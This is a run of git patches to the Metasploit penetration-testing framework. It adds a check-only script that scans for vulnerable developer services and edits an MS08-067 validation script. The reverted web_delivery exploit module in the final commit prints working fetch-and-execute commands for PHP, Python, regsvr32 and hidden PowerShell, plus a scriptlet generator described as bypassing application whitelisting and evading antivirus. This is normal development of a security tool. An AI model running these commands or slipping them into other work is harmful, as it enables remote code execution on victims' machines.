Subject: [PATCH 040/254] Method typo fix.

---
 scripts/resource/smb_validate.rc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scripts/resource/smb_validate.rc b/scripts/resource/smb_validate.rc
index 88332daf28..1df6c51c23 100644
--- a/scripts/resource/smb_validate.rc
+++ b/scripts/resource/smb_validate.rc
@@ -80,7 +80,7 @@ def validate_ms08_067(vuln)
     mod = ms08_067_netapi_mod
     mod.datastore['RHOST'] = vuln.host.address
     mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
-    mod.datastore['PAYLOAD'] = get_x86_ayload_name
+    mod.datastore['PAYLOAD'] = get_x86_payload_name
     mod.datastore['LHOST'] = get_lhost
     mod.datastore['LPORT'] = get_x86_meterpreter_port
     print_status("Validating MS08-067 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")

From 4fc0eb0cb3807defdc8f2a81ad6b30b34829ca6c Mon Sep 17 00:00:00 2001
From: Pearce Barry <pearce_barry@rapid7.com>
Date: Wed, 25 Oct 2017 10:11:25 -0500
Subject: [PATCH 041/254] New resource script to check for development-related
 vulns.

---
 scripts/resource/dev_checks.rc | 118 +++++++++++++++++++++++++++++++++
 1 file changed, 118 insertions(+)
 create mode 100644 scripts/resource/dev_checks.rc

diff --git a/scripts/resource/dev_checks.rc b/scripts/resource/dev_checks.rc
new file mode 100644
index 0000000000..24ecc52907
--- /dev/null
+++ b/scripts/resource/dev_checks.rc
@@ -0,0 +1,118 @@
+<ruby>
+
+#
+# This resource script will check for vulnerabilities related to
+# programs and services used by developers, including the following:
+#
+# * NodeJS debug (multi/misc/nodejs_v8_debugger)
+# * distcc (unix/misc/distcc_exe)
+# * Jenkins (linux/misc/jenkins_java_deserialize)
+# * GitHub Enterprise (linux/http/github_enterprise_secret)
+#
+# It is worth noting that ONLY CHECKS are performed, no active exploiting.
+# This makes it safe to run in many environments.
+#
+# Author:
+# pbarry-r7
+#
+
+@job_ids = []
+
+def wait_until_jobs_done
+    while true
+        @job_ids.each do |job_id|
+            current_job_ids = framework.jobs.keys.map { |e| e.to_i }
+            sleep 1 if current_job_ids.include?(job_id)
+        end
+
+        return
+    end
+end
+
+def check_exploit(host:, mod_name:, vuln_check_ret_val:)
+    begin
+        mod = framework.exploits.create(mod_name)
+        mod.datastore['RHOST'] = host.address
+        print_line("Looking for #{mod.name}...")
+        result = mod.check_simple({'RunAsJob': true, 'LocalOutput': self.output})
+        @job_ids << mod.job_id if mod.job_id
+        if vuln_check_ret_val.index(result)
+            print_line("HOST #{host.address} APPEARS VULNERABLE TO #{mod.name}")
+            framework.db.report_vuln(
+                workspace: mod.workspace,
+                host: mod.rhost,
+                name: mod.name,
+                info: "This was flagged as likely vulnerable by the explicit check of #{mod.fullname}.",
+                refs: mod.references
+            )
+        end
+    rescue ::Exception => e
+        print_error(e.message)
+    end
+end
+
+def setup
+    # Test and see if we have a database connected
+    begin
+        framework.db.hosts
+    rescue ::ActiveRecord::ConnectionNotEstablished
+        print_error("Database connection isn't established")
+        return false
+    end
+
+    run_single("setg verbose true")
+
+    true
+end
+
+def main
+    framework.db.workspace.hosts.each do |host|
+        print_line("Checking IP: #{host.address}, OS: #{host.os_name}...")
+
+        check_exploit(host: host,
+        mod_name: 'multi/misc/nodejs_v8_debugger',
+        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+
+        check_exploit(host: host,
+        mod_name: 'unix/misc/distcc_exec',
+        vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
+
+        check_exploit(host: host,
+        mod_name: 'unix/misc/qnx_qconn_exec',
+        vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
+
+        check_exploit(host: host,
+        mod_name: 'linux/misc/jenkins_java_deserialize',
+        vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
+
+        check_exploit(host: host,
+        mod_name: 'linux/http/github_enterprise_secret',
+        vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
+
+        check_exploit(host: host,
+        mod_name: 'multi/http/traq_plugin_exec',
+        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+
+        check_exploit(host: host,
+        mod_name: 'multi/http/builderengine_upload_exec',
+        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+
+        check_exploit(host: host,
+        mod_name: 'multi/http/mantisbt_php_exec',
+        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+
+        check_exploit(host: host,
+        mod_name: 'multi/http/vbulletin_unserialize',
+        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+
+        check_exploit(host: host,
+        mod_name: 'unix/webapp/vbulletin_vote_sqli_exec',
+        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+    end
+    wait_until_jobs_done
+end
+
+abort("Error during setup, exiting.") unless setup
+main
+
+</ruby>

From 84686e1ab1ca35a20761278f50fb6cb4b75d31bd Mon Sep 17 00:00:00 2001
From: Pearce Barry <pearce_barry@rapid7.com>
Date: Wed, 25 Oct 2017 11:41:14 -0500
Subject: [PATCH 042/254] Fix formatting.

---
 scripts/resource/dev_checks.rc | 41 +++++++++++++++++-----------------
 1 file changed, 21 insertions(+), 20 deletions(-)

diff --git a/scripts/resource/dev_checks.rc b/scripts/resource/dev_checks.rc
index 24ecc52907..3d119410b1 100644
--- a/scripts/resource/dev_checks.rc
+++ b/scripts/resource/dev_checks.rc
@@ -70,45 +70,46 @@ def main
         print_line("Checking IP: #{host.address}, OS: #{host.os_name}...")
 
         check_exploit(host: host,
-        mod_name: 'multi/misc/nodejs_v8_debugger',
-        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+            mod_name: 'multi/misc/nodejs_v8_debugger',
+            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
 
         check_exploit(host: host,
-        mod_name: 'unix/misc/distcc_exec',
-        vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
+            mod_name: 'unix/misc/distcc_exec',
+            vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
 
         check_exploit(host: host,
-        mod_name: 'unix/misc/qnx_qconn_exec',
-        vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
+            mod_name: 'unix/misc/qnx_qconn_exec',
+            vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
 
         check_exploit(host: host,
-        mod_name: 'linux/misc/jenkins_java_deserialize',
-        vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
+            mod_name: 'linux/misc/jenkins_java_deserialize',
+            vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
 
         check_exploit(host: host,
-        mod_name: 'linux/http/github_enterprise_secret',
-        vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
+            mod_name: 'linux/http/github_enterprise_secret',
+            vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
 
         check_exploit(host: host,
-        mod_name: 'multi/http/traq_plugin_exec',
-        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+            mod_name: 'multi/http/traq_plugin_exec',
+            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
 
         check_exploit(host: host,
-        mod_name: 'multi/http/builderengine_upload_exec',
-        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+            mod_name: 'multi/http/builderengine_upload_exec',
+            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
 
         check_exploit(host: host,
-        mod_name: 'multi/http/mantisbt_php_exec',
-        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+            mod_name: 'multi/http/mantisbt_php_exec',
+            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
 
         check_exploit(host: host,
-        mod_name: 'multi/http/vbulletin_unserialize',
-        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+            mod_name: 'multi/http/vbulletin_unserialize',
+            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
 
         check_exploit(host: host,
-        mod_name: 'unix/webapp/vbulletin_vote_sqli_exec',
-        vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+            mod_name: 'unix/webapp/vbulletin_vote_sqli_exec',
+            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
     end
+
     wait_until_jobs_done
 end
 

From 02a28395773e565329d017d9a36df0ba73fdb850 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 25 Oct 2017 14:46:41 -0500
Subject: [PATCH 043/254] fix my comments from #8933

---
 modules/exploits/multi/script/web_delivery.rb | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 707f1ca524..c73bbff5f7 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -163,16 +163,13 @@ class MetasploitModule < Msf::Exploit::Remote
         file = %Q(echo (#{path}+'\\#{filename}'))
 
         # Generate download PowerShell command
-        download_string = Rex::Powershell::PshMethods.download_run(url, file})
+        download_string = Rex::Powershell::PshMethods.download_run(url, file)
       end
 
       download_and_run = "#{ignore_cert}#{download_string}"
 
       # Generate main PowerShell command
-      return generate_psh_command_line(noprofile: true,
-                                       windowstyle: 'hidden',
-                                       command: download_and_run
-                                     )
+      return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
   end
 
 

From a402686d7af268773ef39c9e29bb13e90679ae91 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 25 Oct 2017 14:58:49 -0500
Subject: [PATCH 044/254] add missing spec for singles/python/shell_bind_tcp

---
 spec/modules/payloads_spec.rb | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb
index 5fc0730837..0678c405ba 100644
--- a/spec/modules/payloads_spec.rb
+++ b/spec/modules/payloads_spec.rb
@@ -2370,6 +2370,16 @@ RSpec.describe 'modules/payloads', :content do
                           reference_name: 'python/meterpreter_reverse_tcp'
   end
 
+  context 'python/shell_bind_tcp' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'singles/python/shell_bind_tcp'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'python/shell_bind_tcp'
+  end
+
   context 'python/shell_reverse_tcp' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [

From 9961c70cda74e4a4b4a070dde52421caccf8df74 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 25 Oct 2017 15:07:36 -0500
Subject: [PATCH 045/254] missing update to Gemfile.lock

---
 Gemfile.lock | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 572a93e651..f1f9e72094 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -49,7 +49,7 @@ PATH
       rex-mime
       rex-nop
       rex-ole
-      rex-powershell (< 0.1.73)
+      rex-powershell (< 0.1.78)
       rex-random_identifier
       rex-registry
       rex-rop_builder

From 43aac0ca5ef5dcae58fd58ceede56d695b0cfb81 Mon Sep 17 00:00:00 2001
From: Pearce Barry <pearce_barry@rapid7.com>
Date: Wed, 25 Oct 2017 15:39:23 -0500
Subject: [PATCH 046/254] PR feedback and add java module and scanner.

---
 scripts/resource/dev_checks.rc | 79 ++++++++++++++++------------------
 1 file changed, 36 insertions(+), 43 deletions(-)

diff --git a/scripts/resource/dev_checks.rc b/scripts/resource/dev_checks.rc
index 3d119410b1..538266fdd5 100644
--- a/scripts/resource/dev_checks.rc
+++ b/scripts/resource/dev_checks.rc
@@ -12,8 +12,9 @@
 # It is worth noting that ONLY CHECKS are performed, no active exploiting.
 # This makes it safe to run in many environments.
 #
-# Author:
-# pbarry-r7
+# Authors:
+# * pbarry-r7
+# * dmohanty-r7
 #
 
 @job_ids = []
@@ -29,6 +30,17 @@ def wait_until_jobs_done
     end
 end
 
+def run_scanner(host:, mod_name:)
+    begin
+        mod = framework.auxiliary.create(mod_name)
+        mod.datastore['RHOSTS'] = host.address
+        print_line("Running the #{mod.name}...")
+        result = mod.run_simple({'RunAsJob': true, 'LocalOutput': self.output})
+    rescue ::Exception => e
+        print_error(e.message)
+    end
+end
+
 def check_exploit(host:, mod_name:, vuln_check_ret_val:)
     begin
         mod = framework.exploits.create(mod_name)
@@ -53,9 +65,7 @@ end
 
 def setup
     # Test and see if we have a database connected
-    begin
-        framework.db.hosts
-    rescue ::ActiveRecord::ConnectionNotEstablished
+    if not (framework.db and framework.db.active)
         print_error("Database connection isn't established")
         return false
     end
@@ -69,45 +79,28 @@ def main
     framework.db.workspace.hosts.each do |host|
         print_line("Checking IP: #{host.address}, OS: #{host.os_name}...")
 
-        check_exploit(host: host,
-            mod_name: 'multi/misc/nodejs_v8_debugger',
-            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+        # Modules
+        { 'multi/misc/nodejs_v8_debugger':        [ Exploit::CheckCode::Appears ],
+          'unix/misc/distcc_exec':                [ Exploit::CheckCode::Vulnerable ],
+          'unix/misc/qnx_qconn_exec':             [ Exploit::CheckCode::Vulnerable ],
+          'linux/misc/jenkins_java_deserialize':  [ Exploit::CheckCode::Vulnerable ],
+          'linux/http/github_enterprise_secret':  [ Exploit::CheckCode::Vulnerable ],
+          'multi/http/traq_plugin_exec':          [ Exploit::CheckCode::Appears ],
+          'multi/http/builderengine_upload_exec': [ Exploit::CheckCode::Appears ],
+          'multi/http/mantisbt_php_exec':         [ Exploit::CheckCode::Appears ],
+          'multi/http/vbulletin_unserialize':     [ Exploit::CheckCode::Appears ],
+          'unix/webapp/vbulletin_vote_sqli_exec': [ Exploit::CheckCode::Appears ],
+          'multi/misc/java_jmx_server':           [ Exploit::CheckCode::Appears,
+						    Exploit::CheckCode::Detected ] }.each do |mod,ret_val|
+            check_exploit(host: host,
+                mod_name: mod.to_s,
+                vuln_check_ret_val: ret_val)
+        end
 
-        check_exploit(host: host,
-            mod_name: 'unix/misc/distcc_exec',
-            vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
-
-        check_exploit(host: host,
-            mod_name: 'unix/misc/qnx_qconn_exec',
-            vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
-
-        check_exploit(host: host,
-            mod_name: 'linux/misc/jenkins_java_deserialize',
-            vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
-
-        check_exploit(host: host,
-            mod_name: 'linux/http/github_enterprise_secret',
-            vuln_check_ret_val: [ Exploit::CheckCode::Vulnerable ])
-
-        check_exploit(host: host,
-            mod_name: 'multi/http/traq_plugin_exec',
-            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
-
-        check_exploit(host: host,
-            mod_name: 'multi/http/builderengine_upload_exec',
-            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
-
-        check_exploit(host: host,
-            mod_name: 'multi/http/mantisbt_php_exec',
-            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
-
-        check_exploit(host: host,
-            mod_name: 'multi/http/vbulletin_unserialize',
-            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
-
-        check_exploit(host: host,
-            mod_name: 'unix/webapp/vbulletin_vote_sqli_exec',
-            vuln_check_ret_val: [ Exploit::CheckCode::Appears ])
+        # Scanners
+        [ 'scanner/misc/java_rmi_server' ].each do |mod|
+            run_scanner(host: host, mod_name: mod.to_s)
+        end
     end
 
     wait_until_jobs_done

From f458f214db54740ee30360641ae2dd2808ee03bd Mon Sep 17 00:00:00 2001
From: Pearce Barry <pearce_barry@rapid7.com>
Date: Wed, 25 Oct 2017 15:43:25 -0500
Subject: [PATCH 047/254] Loop do, yo.

---
 scripts/resource/dev_checks.rc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scripts/resource/dev_checks.rc b/scripts/resource/dev_checks.rc
index 538266fdd5..99ded22aa7 100644
--- a/scripts/resource/dev_checks.rc
+++ b/scripts/resource/dev_checks.rc
@@ -20,7 +20,7 @@
 @job_ids = []
 
 def wait_until_jobs_done
-    while true
+    loop do
         @job_ids.each do |job_id|
             current_job_ids = framework.jobs.keys.map { |e| e.to_i }
             sleep 1 if current_job_ids.include?(job_id)

From eb3f7f949ba367c6e4d415341dae8c78ba18cf82 Mon Sep 17 00:00:00 2001
From: Pearce Barry <pearce_barry@rapid7.com>
Date: Wed, 25 Oct 2017 15:45:59 -0500
Subject: [PATCH 048/254] Fix formatting (again, sigh...).

---
 scripts/resource/dev_checks.rc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scripts/resource/dev_checks.rc b/scripts/resource/dev_checks.rc
index 99ded22aa7..9cecf722d2 100644
--- a/scripts/resource/dev_checks.rc
+++ b/scripts/resource/dev_checks.rc
@@ -91,7 +91,7 @@ def main
           'multi/http/vbulletin_unserialize':     [ Exploit::CheckCode::Appears ],
           'unix/webapp/vbulletin_vote_sqli_exec': [ Exploit::CheckCode::Appears ],
           'multi/misc/java_jmx_server':           [ Exploit::CheckCode::Appears,
-						    Exploit::CheckCode::Detected ] }.each do |mod,ret_val|
+                                                    Exploit::CheckCode::Detected ] }.each do |mod,ret_val|
             check_exploit(host: host,
                 mod_name: mod.to_s,
                 vuln_check_ret_val: ret_val)

From 0a858cdaa9435695ee84c3081e3be5ee4b11c3d1 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 25 Oct 2017 16:13:00 -0500
Subject: [PATCH 049/254] Revert "fix my comments from #8933"

This reverts commit 02a28395773e565329d017d9a36df0ba73fdb850.
---
 modules/exploits/multi/script/web_delivery.rb | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index c73bbff5f7..707f1ca524 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -163,13 +163,16 @@ class MetasploitModule < Msf::Exploit::Remote
         file = %Q(echo (#{path}+'\\#{filename}'))
 
         # Generate download PowerShell command
-        download_string = Rex::Powershell::PshMethods.download_run(url, file)
+        download_string = Rex::Powershell::PshMethods.download_run(url, file})
       end
 
       download_and_run = "#{ignore_cert}#{download_string}"
 
       # Generate main PowerShell command
-      return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
+      return generate_psh_command_line(noprofile: true,
+                                       windowstyle: 'hidden',
+                                       command: download_and_run
+                                     )
   end
 
 

From 87d34bef6321ddea2530b126e930a3e32753c764 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 25 Oct 2017 16:13:25 -0500
Subject: [PATCH 050/254] Revert "missing update to Gemfile.lock"

This reverts commit 9961c70cda74e4a4b4a070dde52421caccf8df74.
---
 Gemfile.lock | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index f1f9e72094..572a93e651 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -49,7 +49,7 @@ PATH
       rex-mime
       rex-nop
       rex-ole
-      rex-powershell (< 0.1.78)
+      rex-powershell (< 0.1.73)
       rex-random_identifier
       rex-registry
       rex-rop_builder

From ca28abf2a26e3e4e8d8ad7831191957842aea815 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Wed, 25 Oct 2017 16:19:14 -0500
Subject: [PATCH 051/254] Revert "Land #8933, Web_Delivery - Merge
 regsvr32_applocker_bypass_server & Add PSH(Binary)"

This reverts commit 4999606b61a4f4a2542f51d94236cce2e953bfc3, reversing
changes made to 4274b764737f094bf498d8e63e2d16f8fd5a603a.
---
 metasploit-framework.gemspec                  |   2 +-
 modules/exploits/multi/script/web_delivery.rb | 154 ++++--------------
 .../misc/regsvr32_applocker_bypass_server.rb  |   3 -
 3 files changed, 35 insertions(+), 124 deletions(-)

diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 7bf217c2c3..6accc821ad 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -139,7 +139,7 @@ Gem::Specification.new do |spec|
   # Library for Generating Randomized strings valid as Identifiers such as variable names
   spec.add_runtime_dependency 'rex-random_identifier'
   # library for creating Powershell scripts for exploitation purposes
-  spec.add_runtime_dependency 'rex-powershell', ["< 0.1.78"]
+  spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"]
   # Library for processing and creating Zip compatbile archives
   spec.add_runtime_dependency 'rex-zip'
   # Library for parsing offline Windows Registry files
diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 707f1ca524..9adc1dacb4 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -8,7 +8,6 @@ require 'msf/core/exploit/powershell'
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ManualRanking
 
-  include Msf::Exploit::EXE
   include Msf::Exploit::Powershell
   include Msf::Exploit::Remote::HttpServer
 
@@ -16,34 +15,22 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'         => 'Script Web Delivery',
       'Description'  => %q(
-           This module quickly fires up a web server that serves a payload.
-        The provided command which will allow for a payload to download and execute.
-        It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe
-        for bypassing application whitelisting. The main purpose of this module is to quickly establish
-        a session on a target machine when the attacker has to manually type in the command:
-        e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.
-        This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege
-        escalations supplied by Meterpreter.
-
-        When using either of the PSH targets, ensure the payload architecture matches the target computer
-        or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
-
-        Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
-        The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
-        PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
-        can occur on the same port.
-
-        "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
+        This module quickly fires up a web server that serves a payload.
+        The provided command will start the specified scripting language interpreter and then download and execute the
+        payload. The main purpose of this module is to quickly establish a session on a target
+        machine when the attacker has to manually type in the command himself, e.g. Command Injection,
+        RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
+        write to disk so it is less likely to trigger AV solutions and will allow privilege
+        escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
+        payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
+        x86 payloads on x64 machines.
       ),
       'License'      => MSF_LICENSE,
       'Author'       =>
         [
           'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
           'Ben Campbell',
-          'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
-          'Casey Smith',    # AppLocker bypass research and vulnerability discovery (@subTee)
-          'Trenton Ivey',   # AppLocker MSF Module (kn0)
-          'g0tmi1k',        # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
+          'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
         ],
       'DefaultOptions' =>
         {
@@ -51,11 +38,10 @@ class MetasploitModule < Msf::Exploit::Remote
         },
       'References'     =>
         [
-          ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
-          ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
+          ['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
+          ['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
           ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
-          ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
-          ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
+          ['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
         ],
       'Platform'       => %w(python php win),
       'Targets'        =>
@@ -71,117 +57,45 @@ class MetasploitModule < Msf::Exploit::Remote
           ['PSH', {
             'Platform' => 'win',
             'Arch' => [ARCH_X86, ARCH_X64]
-          }],
-          ['Regsvr32', {
-            'Platform' => 'win',
-            'Arch' => [ARCH_X86, ARCH_X64]
-          }],
-          ['PSH (Binary)', {
-            'Platform' => 'win',
-            'Arch' => [ARCH_X86, ARCH_X64]
           }]
         ],
       'DefaultTarget'  => 0,
       'DisclosureDate' => 'Jul 19 2013'
     ))
-
-  register_advanced_options(
-    [
-      OptBool.new('PSH-Proxy',            [ true,  'PSH - Use the system proxy', true ]),
-      OptString.new('PSHBinary-PATH',     [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
-      OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
-    ], self.class
-  )
   end
 
-
-  def primer
-    php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));")
-    python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());")
-    regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll)
-
-    print_status("Run the following command on the target machine:")
-    case target.name
-    when 'PHP'
-      print_line("#{php}")
-    when 'Python'
-      print_line("#{python}")
-    when 'PSH'
-      psh = gen_psh("#{get_uri}", "string")
-      print_line("#{psh}")
-    when 'Regsvr32'
-      print_line("#{regsvr}")
-    when 'PSH (Binary)'
-      psh = gen_psh("#{get_uri}", "download")
-      print_line("#{psh}")
-    end
-  end
-
-
   def on_request_uri(cli, _request)
-    if _request.raw_uri =~ /\.sct$/
-      psh = gen_psh("#{get_uri}", "string")
-      data = gen_sct_file(psh)
-    elsif target.name.include? 'PSH (Binary)'
-      data = generate_payload_exe
-    elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
+    print_status('Delivering Payload')
+    if target.name.include? 'PSH'
       data = cmd_psh_payload(payload.encoded,
                              payload_instance.arch.first,
                              remove_comspec: true,
                              exec_in_place: true
                            )
     else
-      data = %Q(#{payload.encoded})
-    end
-
-    if _request.raw_uri =~ /\.sct$/
-      print_status("Handling .sct Request")
-      send_response(cli, data, 'Content-Type' => 'text/plain')
-    else
-      print_status("Delivering Payload")
-      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
+      data = %Q(#{payload.encoded} )
     end
+    send_response(cli, data,  'Content-Type' => 'application/octet-stream')
   end
 
-
-  def gen_psh(url, *method)
+  def primer
+    url = get_uri
+    print_status('Run the following command on the target machine:')
+    case target.name
+    when 'PHP'
+      print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
+    when 'Python'
+      print_line('Python:')
+      print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
+    when 'PSH'
       ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
-
-      if method.include? 'string'
-        download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
-      else
-        # Random filename to use, if there isn't anything set
-        random = "#{rand_text_alphanumeric 8}.exe"
-
-        # Set filename (Use random filename if empty)
-        filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
-
-        # Set path (Use %TEMP% if empty)
-        path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
-
-        # Join Path and Filename
-        file = %Q(echo (#{path}+'\\#{filename}'))
-
-        # Generate download PowerShell command
-        download_string = Rex::Powershell::PshMethods.download_run(url, file})
-      end
-
+      download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
       download_and_run = "#{ignore_cert}#{download_string}"
-
-      # Generate main PowerShell command
-      return generate_psh_command_line(noprofile: true,
-                                       windowstyle: 'hidden',
-                                       command: download_and_run
-                                     )
-  end
-
-
-  def rand_class_id
-    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
-  end
-
-
-  def gen_sct_file(command)
-    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
+      print_line generate_psh_command_line(
+                                             noprofile: true,
+                                             windowstyle: 'hidden',
+                                             command: download_and_run
+                                           )
+    end
   end
 end
diff --git a/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
index 1143b831a5..bb12511682 100644
--- a/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
+++ b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
@@ -8,9 +8,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
   include Msf::Exploit::Powershell
   include Msf::Exploit::Remote::HttpServer
-  include Msf::Module::Deprecated
-
-  deprecated(Date.new(2018, 3, 5), 'exploits/multi/script/web_delivery.rb')
 
   def initialize(info = {})
